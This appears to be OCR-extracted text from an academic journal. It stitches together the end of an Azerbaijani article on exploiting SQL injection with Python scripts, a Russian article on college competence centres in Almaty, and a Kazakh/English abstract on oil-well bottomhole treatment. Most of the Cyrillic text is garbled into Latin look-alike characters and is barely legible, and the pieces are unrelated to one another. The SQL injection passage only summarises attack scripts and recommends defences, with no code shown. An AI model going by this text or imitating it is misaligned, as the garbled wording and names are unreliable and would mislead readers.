avtomatlasdirila bilacayi gdstarilmisdir. Python-un requests va time kitabxanalarindan istifada
etmakla hazirlanan skriptlar, SQL bosluglarini samarali sakilda istismar etmaya imkan verir.
Skriptlar Brute Force metodu ile malumatlarin alda olunmasini asanlasdirir va prosesin siratli
icrasini tamin edir. Har iki texnikanin tatbigi real nimunalar (zarinds addim-addim izah edilmis,
hGcumlarin ugurlu icrasi va naticalari tasvir olunmusdur.

Bu tahlillar naticasinda bels ganasta galinmisdir ki, veb tatbiglarinin tahlikasizliyinin tamin
olunmasi Gglin SQL Injection bosluglarinin qarsisini almag vacibdir. Tshllkasizlik tadbirlari
cargivasinda istifadagi girislarinin filtr edilmasi, parametrizasiya olunmus sorgulardan istifads va
tahllkasizlik testlarinin davamli hayata kegirilmasi mitlaqgdir.
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PernoHanbHbIN LEHTP KOMMETEHUMN —
LLeHTP NOBbILLEHMA KayecTBa 06pa3oBaHMs
M NPUBAEKATENBHOCTM Paboynx npodeccmni

Abbi3baes b.E.

anpekTop KIKM « AAMaTUHCKUI KON SHEPreTUKN 1 SNEKTPOHHbIX TEXHONOTUAY,
Marucrep TeXHMYECKMX HayK

Kapaesa b.C.

3amMecTuTeNb ANpeKTopa no yyebHom pabote KIKIM«ANMATUHCKMIA KONNeaX SHEPreTUKM
W SNEKTPOHHbIX TEXHONOTNI», Marncrep TeXHUYECKMX HayK

Wapwnnos T.H.

3aMecTuTe b ANPeKTopa No y4ebHo-Npon3BoacTBEHHOM paboTe KIKIM « AAMaTUHCKN
KONNeOX SHEePreTUKM U SNEKTPOHHbIX TEXHO0TMI», Marucrep

B KoHuenumn pa3sutmA, A0WKONAbHOrO, CpeAHero, TEXHMYECKoro n NnpodeccnoHanbHOro
obpasoBaHua Pecnybnmkn Kasaxctan Ha 2023-2029 rogbl cKasaHo, 4To OyAeT NpPoao/KeHa
paboTa Mo pPa3BUTUIO OTPACAEBbLIX LEHTPOB KOMMETEHUWM B KoAAedaxax Kak 6asbl ana
GOpPMMPOBAHMA NYULIMX NPAKTUK HA NPeaNPUATUAX PErMOHa MU peannsaumnm npodeccnoHanbHbIX
Moaynewn onepexatowero obyyeHnsa. LleHTpbl KOMNeTeHUMI ByAyT paclmpATb AOCTYN rpaxaaH
K MHOXecCTBY KBanubuKaumin, nepekBanndbukaummn, HedopmanbHOMy 0OYYEHUIO U PA3BUTUIO
MATKMX HaBbIKOB. [oNy4eHHble KomneTeHuMn OyayT NOATBEPKAATHCA LEeHTPaMM NPU3HAHUA
KBannduKaumit. T.e. Konnegxu, Kotopble ob6nafatoT NogobHbIMM LEHTPaMM KOMMNETEHLUUN,
CMOTYT BbINOAHATL QYHKLMN OTPACNEBBIX LLEHTPOB NOBbILWEHNA KBaNMOUKALMM N NepeobyyeHuns
[eNCTBYOWMX COTPYAHNKOB NPeaAnpuATUA. ITOT NOAXOL COOTBETCTBYET NPUHLUMNY 0byYeHna B
TeYeHne BCeM XKU3HMW.

PermoHanbHbIM LEHTp KomneTeHuui (panee PUK) — cTpyKkTypHOe noapaspeneHue
opraHmsauum  obpasoBaHMA, Ha Hasze  KOTOPOro  OCYLLeCTBAAETCA  KOHUEHTpauus
0bpa3oBaTeNbHbIX PECYPCOB ANA NOATOTOBKM BbICOKOKBANMOULMPOBAHHbIX KAaZpPOB.

Mopa obpa3oBaTeNbHbIMU pecypcamm NOHUMaEM:

yesnoseyeckue: obydvatowmecs, npeacTaButTenn pabotogaTenei, camosaHATble NuLa,
KoTopbiM TpebyeTcA NOAroTOBKA, MNepenoAroToBKa W MOBblWeHWe KBanubuKaumm no
COOTBETCTBYtOWEMY NPODUNIO;

KaOposble: WTaTHble npenoaaBaTenei M/UAM LWTaTHble macTepa MNpPoM3BOACTBEHHOMO
obyyeHus, nmetoLme COOTBETCTBYHOLLEE obpasoBaHue no 3aAB/IEHHOMN
cneupanbHocTu/KBanudmMKkaumm PLK, onbiT paboTbl Ha Npow3BOACTBE M/MAKM npoluesmne
CTaXKMPOBKY  Ha npon3BoACTBE 33 nocnegHve nATb  NeT  No  3aABAEHHOMN
cneumanbHOCTM/KBaNUPUKaUMK;

nacnopm  PLK: Hannume  0b6OpyAOBaHMA,  COOTBETCTBYHOLWEIO  COBPEMEHHbLIM
NPOU3BOACTBEHHbLIM TPEOOBAHUAM M/MAN MEXAYHAaPOAHbIM cTaHaapTam WS, ans co3gaHus PLK;

(PUHAHCOBbIE: UCTOYHMKM M KaHa/lbl PUHAHCMPOBAHMS;

UHGOPMAyUOHHbIe: MHOOPMaLMA, B3aMMOOTHOLLIEHWA, COLMaNbHble ceTu, 6asbl AaHHbIX.

Cos3paHue PUK npegnonaraeT KOHULEHTPALMIO COBPEMEHHOrO 0b60pya0BaHMA U APYruX
pecypcoB No cneuyanbHOCTM KOHKPETHOM OTPacau.

KFKM  «ANMaTMHCKUI  KONNMEAX SHEPreTUKM U 3NeKTPOHHbIX TeXHONorni» (manee
Konnenyk) y4acTHMK NpoekTa «*Kac mamaH». bblao 3akynieHo obopyaoBaHne Ha cymmy 323 M/IH.
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TeHre. 3akyn ob6opyaoBaHMA Obln  OcyllecTBieH aAnAa obydyeHMa Mo cneumanbHOCTAM
3N1EKTPO3HEPreTMKN M aBTOMATM3aummM npomnssoacTBa. CoOBpemMeHHOoe MNPOW3BOACTBEHHOE U
yyebHoe obopyaoBaHune, NnpuobpeTeHHoe No NpoeKkTy «*Kac mamaH», akagemmyeckana cBobosa
OTKPbIBAOT LMPOKME BO3MOXKHOCTM B paboTe Konneaka.

B pamkax npoekTa npoBeaeHa pa3paboTka M BHeapeHWe 0OBPa30BaTE/IbHbIX MPOrPaMm,
OTKPbIT PErMOHaNbHbIN LLEHTP KOMNETeHUMIM B 061aCTU 3NEKTPOIHEPTETUKM M aBTOMATM3aLNN
npou3BoACTBa.

HestenbHocTb PLK npeaycmaTpuBaeT peannsaunio caeayoumx MeponpuaTnii: Kypcosoe
obyyeHne nenaroros M pykosoauTeneit opraHmnsaumin TulO (Npon3BoACTBEHHAA CTaXKMPOBKaA Ha
npeanpuATUAX COLManbHbIX MapTHEPOB); MO MOArOTOBKE, MEPEnoAroTOBKE M MOBbILLEHMIO
KBanndUKaumMm paboTHMKOB NPeanpusaTMiA No COOTBETCTBYHOWEMY Npodu/o; npoBeagHMe
KOHKYPCOB MNpodeccmoHanbHOro MacTepctsa, B TOM yucine demnumoHatoB WSwu 1.4. [aHHas
[eATeNIbHOCTb MOMET OCYLLECTBAATbCA HAa OCHOBAHWWM AOrOBOPOB,3akKAtO4aeMbIx mexay PLK u
OpraHn3auMsaMun. BbIMyCK NPoAyKLMK, TOBApOB (paboT, ycayr), peMOHT 060pyA0BaHNA, MALLNH U
MEXaHW3MOB;  MPOM3BOACTBEHHOe  oby4yeHune/nmpodeccnmoHanbHas  MpakTMKa  CTyAeHTOoB
opraHusaumin TulO u By30B; NpoBeaeHWe NPOGOPUEHTALMOHHBIX MEPONPUATUIA ANA YYaALLMXCA
WKON; - y4yacTve B Hay4YHO-MPUKAAAHbIX MPOEKTaX C MCMOAb30BaHMEM y4ebHO-MaTepuaibHOM
6a3bl PLLK B KayecTBe wucCNbITaTeNbHOrO noaAuroHa (6asbl MPaKTWKK); peanu3auma  Apyrux
MepONpPUATUI B PaMKaX YCTaBHOW AeATeNbHOCTM Konneaxxa.

Ha nepBoHa4anbHOM 3Tane LENAMM PerMoHanbHOro LeHTpa KomneTeuuin B obnactu
9N1EKTPO3HEPreTMKM 1 aBTOMATM3aLMKN NPOM3BOACTBA ABNAIOTCA:

- NoBbIWEHME YPOBHA MOTMBALMM K MNPOPECCUMOHANbHOMY CaMOOMNpPeaeneHnto,
JIMYHOCTHOMY M NPOodEeCcCMOHaNbHOMY POCTY rpaxaaH;

- NnoBblWeHMEe KayecTBa NPodeccMoHaNbHOM NOArOTOBKM B y4ebHbIX 3aBeAeHMAX U
LEeHTPax nepenoaroToBKM KaApoB Ha Tepputopum AnmaTbl M AAMATMHCKOM obnactv no
CNeunanbHOCTAM  «DNeKTPoobopyaoBaHNeE»,  «INEKTpOoCHabskeHMe», «ABTOMaTuM3auMa W
ynpaB/ieHne TEXHONIOTMYECKMMM NpoLLeccaMm (Mo Npodunto)»;

- dopmunposaHme MHOPACTPYKTYPSI ana MaccoBOW NOArOTOBKM
BbICOKOKBaIMPULMPOBAHHbIX paboumx Kagpos no ctaHgaptam WorldSkills, B Tom yucne gns
NpoBeAeHNA pPerMoHanbHbIX YemnuoHaToB «JasSkils», dopmmnpoBaHmne skcnepTHOro coobulecTsa
M3 Yncna npenogasaTtener n MacTepoB NPON3BOACTBEHHOIO 0byyeHna Konneasxka n nx obyyeHme
B COOTBETCTBUK C TpebosaHuamm WorldSkills;

- peanusauma yCNnoBMM Pa3BUTMA CUCTEMbI TEXHMYECKOrO M NpodeccmoHanbHOro
obpasoBaHMA ropoga AsnmaTbl Ha ypoBHe TpeboBaHuM  cTaHmapToB  WorldSkills  u
npodeccnoHanbHbIX CTaHAAPTOB, a Takxe TpebosaHuMin paboTtoaaTtenen;

- NoBbllEeHMe KayecTBa NPodecCcnoHaibHOM NOArOTOBKM 0OyYatoLLMXCa No
3aKpenaeHHbIM KOMNETEHLMAM.

OcHOBHbIMM  3agadamm  PLK B o06n1actM  21eKTpOsHepreTmkM U aBToMaTM3aumm
NPOM3BOACTBA ABNAIOTCA:

- NoAroTOBKa y4aCTHUKOB /1A y4acTua B yemnumoHaTtax «JasSkils», WorldSkills

MO 3aKpenaeHHbIM KOMNETEHUMAM,;

- COo3faHMe TPEHMPOBOYHOrO UEHTpa A1A perMoHanbHon cbopHoM no
3aKpenaeHHbIM KOMNETEHUMAM,;
- obecneyeHne NOArOTOBKM pe3epsa AN pernoHanbHOM cOopHOM r.AnmaTbl

MO 3aKpenaeHHbIM KOMNETEeHLMAM,;

- NOArOTOBKa  MPOPEecCcMOoHaNbHbIX  KaZApoB  C  OpueHTaumel  Ha

MexayHapoaHble ctaHgapTsl WorldSkills;

- pacWMpeHne CoCTaB SKCMepPTHOro coobLLecTBa M3 Yncna COTPYAHUKOB M

npenoaasatenein Konneaxa;
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- opraHusauma paboTbl MO Pa3BUTMIO B3aMMOAENCTBMA MPOPeCcCMOHaNoB

(coumanbHbIX NAPTHEPOB) M 3KCMEPTOB, CMOCOOHbLIX BbIABAATL M FOTOBUTb CMELMANNCTOB

yposHa WorldSkills;

- OKaszaHWe ycnyr B ob6nactu  npodeccMoHanbHOM  opueHTaumm wn

COMPOBOXAEHMA NPOPECCMOHANBHOrO CaMoonpeaeneHuns;

- nonynspmusauma paboumx npodeccuit.

Ons addbekTnBHOro dpyHKUMOHMpoBaHUs PLIK exxerogHo paspabaTbiBaeTca naaH paboTsl
Ha OCHOBe aHa/M3a: COCTOAHMA MaTepuasibHO-TEXHMYECKOM 6a3bl, BOCTPeOOBAHOCTM yCAyr 3a
NpeAWeBCTBYOWMIA 04, BO3MOMHOCTM MNPOBEAEHMA MPAKTUK, CTAXMPOBOK Ha 6Hasax
npeanpuaTui U T.4.

HdokymeToobopoT PLK onpenenaetcas HomMeHKNaTypou aen.

O6pasoBaTtenbHbiM npouecc B8 PLUK ocyuectsnsetca Ha OCHOBaHMKM paboumx yyebHbIX
NA1aHOB M Nporpamm, pa3paboTaHHbix B PLIK, cornacoBaHHbIx ¢ paboTogaTensmm.

PaboTa no onpeaeneHnto coaepaHma obydenma B PLIK BkatoyaeT aBa atana. lepsbin —
pa3paboTka y4ebHbIX NNAHOB M MPOrpamm C Y4eTOM MMEIOLWEroca y koaneaxa obopyaosaHua.
YyebHbIli NpoLecc CTpouTca No NPUHUMUNY 0bydYeHMA OTAENbHbIM GYHKUMAM (KOMNEeTeHUMAM).
CopepaHme M KOAMYECTBO HAaCOB MOTMYT MEHATbCA B 3aBUCMMOCTM OT BO3MOXKHOCTEWN
opraHunsaumm o6pa3oBaHMA -MaTepuaNbHO-TEXHUYECKON 6a3bl, n 633 NpoBeAeHWA MPAKTUYECKOrO
obyyeHua. YuebHble naaHbl pa3pabaTbiBatoTCA HAa MOAY/IbHOM OCHOBE C y4eTOM MoTpebHOCTU
opraHusaumm, No MHULUMATMBE KOTOPOTO OpraHm3yeTca obyyeHue,

BTopoit atan - obyyeHune B PLIK, KOTopoe ocyecTBAAETCA Ha 4OTOBOPHOM OCHOBE MENKAY
opraHusaument 0bpa3oBaHNA WU OpraHnsaument, Hanpasaawen Ha obyveHne, AN GU3NYECKUM
NMuoM. Ha ocHoBe f0roBopa M Habopa KOHTUHreHTa He meHee 15 4yenoBeK M34aeTcA NpUKas,
COCTaBNAETCA pacnMcaHune 3aHATUIN, KOTOPble MOAMUCHIBAKOTCA M YTBEPKAAIOTCA PYKOBOAMTENEM
opraHusaumm obpasosaHua. Mpu nposeaeHnn obyyeHna PLK HasHayaeTcs OTBETCTBEHHbIN 3a
cobnopeHne TexHnkn 6esonacHocTu. Mepes HavaNnoM NPaKTUYECKMX paboT NPOBOANTCA BBOAHbIM
WHCTPYKTaX, U eXxeAHEBHbIN MHCTPYKTAXK N0 AOMNYCKY K paboTam.

Ona  BbinonHeHus  ¢yHKumMK, PUK  BblaenaoTca  Heobxogumble  mMacTepckue ¢
obopynoBaHvem, NpnobpeTeHHble NO MPOEKTY «*Kac MamaH», BK/A4Yasa npyv HeobxoaAMmMoCTM
nporpammHoe obecneyeHune, cpeacTsa CBA3M U Apyroe obopyaoBaHMe.

MNepeyeHb y4ebHO-NMPOM3BOACTBEHHOrO 000pYyAOBaHMA, CcpeacTts obydeHua  Ans
opraHuM3auum obydyeHma No Kaxaon cneumanbHOCTM (KBaandukaummn), npodeccun onpesenserca
B COOTBETCTBMM C y4ebOHbIMM NPOrpaMmamm 0by4eHraA 1 yCTaHOBNEHHbIMM HOPMATUBaMMU.

PLIK obecneuymBaeT coaeprkaHme NpuHaaneKallen emy matepmanbHO-TEXHUYECKOM Basbl
Ha ypoBHe TpeboBaHWl, ONpeaAeneHHbIX COOTBETCTBYIOLMMM HOPMATMBAMK, W  HeceT
OTBETCTBEHHOCTb 33 COXPAHHOCTb M 3QEKTUBHOCTb €€ MCMO/b30BaHMA.

Ha 6a3e LeHTpa BO3MOXKHO co3aaHune TpeHuposoyHoro narepa WS Kazakhstan (manee —
TPEHMPOBOYHbIN Narepb) - 414 NPodeccnoHabHOM NOATOTOBKM,a TaKKe OTTaunBaHMA HAaBbIKOB B
YEeMMMOHATHbIX YCA0BMAX HEOOXOAMMbIX [ANA  YCNEeWHOro BbICTYN/EHWA H PErMOHANbHbIX,
pecnybanMKaHCckMx YemnuoHatax WSK ©  MeAyHapoAHbIX YemmnumoHaTax, W  KOHKypcax
npodeccMoHaNbHOro MacTepcTBa.

TpeHNPOBOYHbIM Narepb OCYLLECTBAAET caeaytouime QyHKUMM:

- pa3paboTka nporpammbl/niaHa MNOArOTOBKM KOHKYPCAHTOB K  PerMoHasibHbIM
yemnuoHatam WSK no KomneTeHUMAM AN [aNbHEWWero y4actma B pecnyb/iMKaHCKMX
yemnumoHatax WS;

- pa3paboTKka Nporpammbl/nnaHa NoAroToBKM 41eHoB HaumoHanbHOM CHOOPHOUCTPaHDbI
MO KOMMNETEHUMAM ANA Aa/IbHENLIEro y4acTna B MeXAyHapoaHbIX YemnunoHatax WS;

- dopmMpoBaHME NEPeYHA PacXOAHbIX MaTepunanos, MHCTPYMEHTOB M 0H6OpPyA0BaHMA
MO KOMMNETEHUMAM;
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- onpeaeneHune obbema paboT, popmaTta M CTPYKTYPbl NOATOTOBKM K YEMMMOHATAM MO
KOMNeTeHUMAM,;

- OCYLLEeCTBAAET KOHTPO/b 33 Ka4eCTBOM BbIMNONHEHNSA KOHKYPCHbIX 3a4aHWiM B Nepuos,
opraHmM3auymm n NpoBeAeHNA TPEHMPOBOK NO KOMMETEHLMAM,;

- paspabaTtbiBaeT pernameHTbl MNPoOBEAEHWs [AEMOHCTPALMOHHOrO 3K3aMeHa Mo
TpeboBaHuam WS;

- NpPOBOAMUT AEMOHCTPALMOHHbIE 3K3aMeHbl No TpeboBaHMaMm WS;

- ocyuecTBaaeT cepTmdmKaumio akcnepTos no TpebosaHmam WS.

OnbIT paboTbl TPEHMPOBOYHOTO Nareps, Ha base LleHTpa, MOXKET TaKKe MCNOob30BaTLCA
[NA NOArOTOBKM K APYTMM KOHKYpCcam NpodeccroHanbHOro MacTepcTBa.

PLIK moxkeT 6bITb 6a30i A5 NpoBeAeHUA AEMOHCTPALMOHHbIX 9K3aMEHOB, B TOM YMUC/ie NO
TpebosaHnam WS Kazakhstan, Kak dopma UTOroBOM WM MPOMENKYTOYHOM aTTecTauum B BUAE
KBa/IMOMKALIMOHHOrO 3K3amMeHa obydatoulmMxca no obpa3oBaTesibHbiM nporpammam  TullO
peanu3yemblx B KoAMeaxe, a TakKe Kak dopma atrecTaumm obyyatowmxca Konnedsa, ANs
onpeaeneHna ypoBHA KOMNETEeHLUMM COTPYAHMKOB M paboTHMKOB npeanpuaTtuin. B Konneaxke
NEeMOHCTPALMOHHbIN 3K3aMeH, MPOBOAMUTCA C Lie/Iblo OLEHKM YPOBHA OCBOEHMA obyyatowmmmnca
obpasoBaTelbHOM Nporpammsbl B creayoumx Gopmax:

- B KayecTBe npoleaypbl UTOroBOM aTTecTaumm no obpasoBaTeNbHbIM MPOrpammam
BbIMYCKAOLIMX CMNEeumanmucToB cpeaHero 3BeHa ANa onpeaeneHua W OLEHWBAHWSA YPOBHSA
COOPMMPOBAHHOCTM Y BbIMYCKHMKOB  06WMX M NpodeccMoHanbHbIX  KOMMNETEHLNN,
COOTBETCTBYIOLLIMX OCHOBHbIM BUAAM AEATENbHOCTY;

- B KayecTBe npoleaypbl NPOMEXKYTOYHOM aTTecTaumm B BUAE KBAaNUOUKALMOHHOMO
3K3ameHa no obpas3oBaTeNbHbIM Mporpammam paboumx KeanuduKauuii Ana onpeaeneHua u
OLEHMBAHMNA YPOBHA OCTUHKEHUA Pe3ynbTaTOB OCBOEHMA obydatowmmmnca npodeccnoHanbHbix
Moaynen, NnpeaycMoTpeHHbIXx 06pa3oBaTeIbHOM NPOrPamMoNn.

TaKKe, [EMOHCTPALUMOHHbBIA 3K3aMeH MOMKeT MPOBOAUTLCA NpeanpuaTUAMKM,Ha Hase
PLK, B Lenax onpeaeneHmna ypoBHA KOMNETEHLMMN COBCTBEHHbIX PabOTHMKOB AN COCTaBAEHMA
UHAOMBUAYANbHbBIX MAAHOB Pa3BUTUA COTPYAHWKOB, @ TaKMKe MoBbileHWA OOLLero ypoBHS
npodeccmoHaNbHOM NOArOTOBKM KaZpOoB.

Pacxoapl Ha copepraHuve PLIK npomsBoasTca B npedenax COOCTBEHHbIX CPeACcTB
Konnenyka, B CTPYKType KOTOPOTO OH CO3/aH.

Hannume UeHTpa KOMMETeHUMA B OpraHuMsaummM o6pa3oBaHUSA ABASETCA Ba*KHbIM
$aKTOpOM He TO/NIbKO obecneyeHmns CoOXPaHHOCTU, HO W FreHepalMm HOBbIX 3HAHWK M OMbiTa, a
TaKXKe MPeemMCcTBEHHOCTM KaZpoB, MOCKO/bKY OOMEH 3HaHMAMM Mexay Crheumannctamu,
06120310 WMM OMNbITOM U MONIOAENKbIO ABNAETCA BaXKHOM QYHKLMEN LLEHTPOB.

AHanu3 onbiTa GYHKUMOHMPOBAHUSA PErMOHaNbHbIX LEHTPOB pPa3HbIX CTPaH MO3BOAAET
onpeaennTb NX 3Ha4MMOCTb Ha OCHOBE TOrO, YTO:

- pacwupseTca cnekTp obpas3oBaTesibHbIX YCAYr AN yAO0BNETBOPEHWMA 3anpocos
HaceneHus;

- TOBbILWIAETCA KOHKYPEHTOCNOCOOHOCTb M 3ddeKTMBHAA 3aHATOCTL PaboUmXx;

- paclumMpsoTcA  BO3MOXHOCTM CBOEBPEMEHHONO M MOKOro pearmpoBaHMA Ha
NoTPebHOCTM pbIHKa Tpyaa B paboumx.
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Abstract

In this article, a new method has been developed, the task of which is to increase the
efficiency of processing the bottomhole zone of a well by introducing a coolant into the
bottomhole zone, which increases the solubility of the composition, the rate and volume of
dissolution of difficult-to-dissolve deposits during processing of the bottomhole zone of producing
wells, as well as penetrating deeply into the reservoir.

AHgatna

Byn Makanada YHFbIMaHbIH, TYN alMMarblH eHAeYy TUMIMAINITIH apTTbipyAafbl »KaHa aaic
93ip/IEHTEH, *KblYTAChIFbIWTbl YHFbIMAHbIH, TYN alMafbliHa EHTi3Yy apKbl/bl, OHbIH, KYPaMblHbIH epy
KabineTiH, eHAIPYLWI YHFbIMaNapabiH TYN alMmafbl 6eniridH eHaey KesiHae epiMenTiH WeriHainepain,
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epy KblNOAAMZbIFbl MEH KeneMmiH, COHbIMeH KaTap, KabaTka TepeH eHyai apTTbipy 60/bin
Tabblnagpbl.

Key words: bottom-hole formation zone, permeability, oil, water, potassium bichromate
KinTTik cesaep: Tyn Kabat anmarbl, ©TKI3TiLWTIK, MyHal, Cy, Kannit BMxpomarbl

KabatTbiH Tyn alMmarbl benrini 6onfaHaamn, epekile anmakr 60bin Tabblnanbl, ©UTKEHI, MyHAa
KbICbIMHbIH, TeEMMNepaTypaHblH, ©3repyi, ayblp MyHall KOMNOHEHTTEPIHIH, Weryi XaHe T.6. cUAKTbI
Kypaeni npouectep xypedi. byn npouectepaid 6apabifbl  YHFbIMA ©HiMAiNiriHe, acipece
HbIOTOHAbIK eMec MyHalnapAbl NanganaHaTblH eHAIPY YHFbIMAMAPbIHbIH, XYMbICbIHA Kepi acep
eteni. KeH opblHOApPbIH Urepy KesiHae KabaT KbICbIMbIH YCTan Typy ViWiH KabaTka CyblK cy
anpanaTbiHbl 6enrini. byn kKabaT TemnepaTtypacbiHbiH, anTap/blKTal TOMeHAeYiHE JKenin cofadbl,
6yn yHFbIMa TybiHAEr MyHalablH, KYPamMbliHAAFbl ayblp KOMMOHEHTTEPAiH, TYHAbIPbIAYbIHA acep
eteli KoHe KabaTTblH, KeyeKTepiHiH  b6iTenyiHe okeneai. KanunnapnbiK — apHanapabiH,
KYPbIZIbIMbIMEH CMMATTaNaTbiH KabaTTbiH, ©acTankbl Heri3ri oTKI3riwTiri achansTTbi-LLANbIP/Ibl KIHE
napapuHAai WeriHainepaiH acepiHeH by3blnaabl KaHe KabaTTblH, YHFbl aliMaFbiHbIH, OTKI3FILUTIFiHIH,
TeMeHaeyi opblH anaabl.HaTuxeciHae KemipcyTeKkTepdi 6acTankbl eHAIpyAiH, MaHiH KaanbiHa
KeNnTipy MakcaTbiHAa YHFbI TYDiHIH, Ty3i1y aiMafbiHa acep eTy KaxKeTTiAir TybiHAanabl. KabaTTbiH,
OHIMAINIrIH apTTbipy VWIiH YHFbIMa TybiHe acep eTy KabaTTbiH, Tyn alMafbiHbIH, OTKI3rilWTIriH
KannblHa KenTipyai KamTuabl. KblWKbINABIK, TEPMUANBIK, XUMUAIBIK, TEPMOXMMUANBIK KaHe T.06
KenTereH fbiJbiMWU eHbeKTep YHfFbl TYOiHiH Ty3iy alMMafbiHblH, OTKI3FIWTIFiH KaamnbiHa KenTipy
MacenesnepiHe apHaafaH. agictepi. YHFbIMaHbIH TyN alMMafbiHa KbllWKbIAAbIK 9CEP €Ty MeXaHM3Mi
Tay XbIHbICTaPbIHbIH, KAHKACbIHbIH, 6enrini 6ip 6eniriHiH, XaHe apTypPAi WeriHAiNepaiH, Kbl WKbIAMEH
dPEKETTECYi HOTUMKECIHAE MYHaW BHAIPY *KblAAaMAbIFbIHbIH, KAaNMblHA KeyiHe HerizaenreH.

YHfbIManapapl KbllWKbIAMEH eHAey npoueci — 6yn yHFbIMaHbl NanaanaHy KesiHae
YHFbIMaHbIH, TYN alMafblH Ta3apTydbl, AFHM YHFbIMaHbIH TyN alMafblH Ty3aapaaH, napaduHaj-
WaMbIpAbl  LWGTIHAINEPAEH KOHE KOPPO3MA eHIMAEepiHEH Tas3apTydbl, YHFbIMaHbIH,  Tyn
aiMafblHAAFbl Tay KbIHbICTAPbIHbIH, OTKI3rILTIFIH apTTblPyAbl, COHAAN-aK OypfblnayaaH KeniH
YHFbIMaHbl Urepy KesiHae, YHFbIMaHbIH, TYN aiMarblH KalTa OypfblnayaaH Ta3apTyabl KaMTUTbIH
onepaums. KapanaibiM KbIlWKbIIAAHAIPY, €H anablMeH, OTKI3riWTiriH KaanbiHa KenTipy Hemece
apTTbipy YLWIiH VHFbIMa OKMaHbIHbIH aHblHAAfbl KabaTka eHyre apHanfaH. lpouecc Xofapbl
KbICbIMMEH KabaTKa KblLLKbl14bl alaay apKbl/ibl *Ky3€ere acblipblaaibl.

YHFbIMaHbIH TYN alimarbl- byn KabaTTapdblH YHFbIMaHbIH, TYM alMMarbliHa Tikenen iprenec
»aTKkaH beniri (pagnycbl 2-3 MeTp UMAUHAPAIK 6enik). KabaTTbiH, 6yn Oenirinae CyMbIKTbIKTbIH,
CY3iny *Kblngamablfbl ©3repesi, KbicbiM TOMeHAeN A, ayblp MyHan Kypamaactapsb! Weredi, aHeprus
WbIFbIHBbI MEH afblHHbIH, Kedeprici MakcMmanapbl *Kofapbl 60naabl. KabaTTbiH TOMEHT KabaTblHbIH,
Wamanbl flacTaHybl A3 YHFbIMaHbIH OHIMAINITIH alTapablkTal TemeHaetedi. YHFbIMaHbIH Tyn
aMMafblHbIH, OTKI3MILWTIrH KannbiHa KenTipy Hemece apTTbipy KabaTTapblH YHFbIMaHbIH, Ty
aMafrblHa CbIPTKbl 9cep eTy Hemece KabaTTapaa nanga bonfaH wWeriHainepaiH, epyi HerisiHae
YKy3ere acblpblaagbl.

MapganaHy npoueciHae eHAipy KoHe angay YHFbIManapbiHbiH,  Tyn  alMafbiHbIH,
OTKI3rILTIriHIH TOMeHAeYiHiH Heri3ri cebenTepiHe Keneci dakTopaap *KaTtadbl:

- Temnepatypa MeH KbICbIM »KaFdaniapbl e3repreH Kesae MyHalablH, acdanbreHmj-
WakblpAbl-napaduHai Kypamaac 6eniktepi Hemece inecne Kabat cynapblHaH Ty3AapAblH, afybl
Haaynanapl XKaHe wWwereaj;

- YHFbIManapapl afbiMAarbl }KaHe Kypaeni KeHaey KesiHae YHFbiMara b6iTenTkiwTep (afbiH cy
Hemece TeHi3 Cybl) HEMECE KYY CYMbIKTbIFbIHbIH, TYCYi;

- CYy-MYHal 3MYNbCUACBIHbIH, TY3inyi;
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- ca3 OesilleKTepiH Tyllbl CyMeH KaHbIKTbIpy Ke3iHae TeppureHaik KabatTapabiH,
LeMEHTTeNYIHIH, ICiHYi;

- YHfbiManapabl COHAIpY Hemece LWak Ke3iHAe MexaHWKafblK Kocnanap MeH meTann
KOPPO3MACHI OHIMAEPIHIH, YHFbIMAHbIH TYMN aiMarbiHa eHyi aHe T. 6.

YHFbIMaHbIH TYDiHIH alMarblHa 8Cep eTy YLUIH XYMbICLbI areHTiHIH KYPamblH TaHAay Ke3iHae
OHbIH, Keneci Kputepuinaepre COMKECTIriH KaMTamMachI3 Ty MaHbl3Abl:

- KYpam YHFbIMa TYDiHIH alMafbiHbIH KaXKeTTi TepeHairiHe AeniH eHyiKaxeT;

- KYPaMm »KbIHbICMEH, OHbl KaHbIKTbIPATbIH CYMbIKTbIKTAPMEH HEMECE KOJIbMOTaHTTapMeEH
DPEKETTECKEHHEH KeMiH KalTa epiMeNTiH WweriHainepai TyAblpMmaybl Kepek;

- peareHTTEp YHFbIManapapl KeHaeyae, KabaT cynapbiHaa »KaHe 6acka TeXHOJIOrMANbIK,
CYMbIKTbIKTApAa KO/AaHbINATbIH ThifbIHAAY epiTiHAinepimeH yinecimai 60nybl KoHe MyHal
eHAipyre, OHbl TacbiMaadayfa *KoHe OHbl Ta3apTyadblH TEXHOMOMMANbIK CaTbllapblHa Kepi acep
eTneyi Kepek;

- KYPaMHbIH, KOMMOHEHTTEPI MYMKIHAITIHLIE a3 yabl 60/ybl KepekK.

YHFbIMaHbIH TyN aiMarblH Ta3zanay TEXHONOTMACLIHbIH, HETi3r NPUHUMNTEPI:

- XMMWANbIK peareHTTepaiH, Ko/lbmaTTayllibl 3aTTapfa oacep eTyiHe 6alnaHbICTbl
nepdbopaumanay apHanapbl MeH YHFbIHbIH TyN alMafbliHbIH KafAalblH WEKTeyMeH YHFbl TYDiHIH,
KabaT aliMarblHbIH, OTKI3MWTINIH KaamblHa KeATipy Hemece »KOofapblnaTy, CoHAal-aK, eHiMAOiMIKTI
apTTbipy HeEMece KabaTKa cy aaay MyMKIHAITIH apTTbipy;

- KabaTTblH TYNTIK YHFbIMa allMafblHa KaKblH Xepae Ae, Wanfah benikTepiHae ne Tay
KbIHbICTAPbl  KAHKACbIHbIH, KEeyeKTi  KEeHICTIMHIH  KypblbIMblHA 9Cep eTy HaTUXKecCiHae
VHFbIManapablH, eHIMAiNITIH Hemece KaTato KabineTiH apTTbipy;

- alaanaTblH XMMUANbIK peareHTTepMeH GU3MKanbIK KaHEe XMMUANbLIK 63apa apeKeTTecy
Ke3iHAe KONIMATaHTTbIH, *KOWMblNybl KaHe T. 6.

ATanfaH OafblTTap OOMbIHWA  KenTereH  fbiAbIMKM  MaKananap, TexHonaoruanap,
KOMMNO3NUMANAP MeH 9AicTep, COHAAM-aK KOMbIAFaH MaKcaTTapfa KeTy YUWiH TYpAi XMMUANbIK,
peareHTTep namaanaHblAFaH NATEHTTIK XYMbICTAp *KapuanaHabl. TeMeHAe OCbl KYMbICTAPAbIH,
KeMbipiH KapacTbIpy YCbIHbINAAbI.

oaicTepaiH, [1] bipiHae MyHal YHFbIMACbIHbIH, YHFbIMa TYOiHIH alMafblH eHAeYy YHFbiIMa
CYMbIKTbIFbIMEH  (Heri3ri cy) TONTbIpbIFaH YHFbIMaHbIH ©HAENTeH MHTepBasiblHA  YHFbIMA
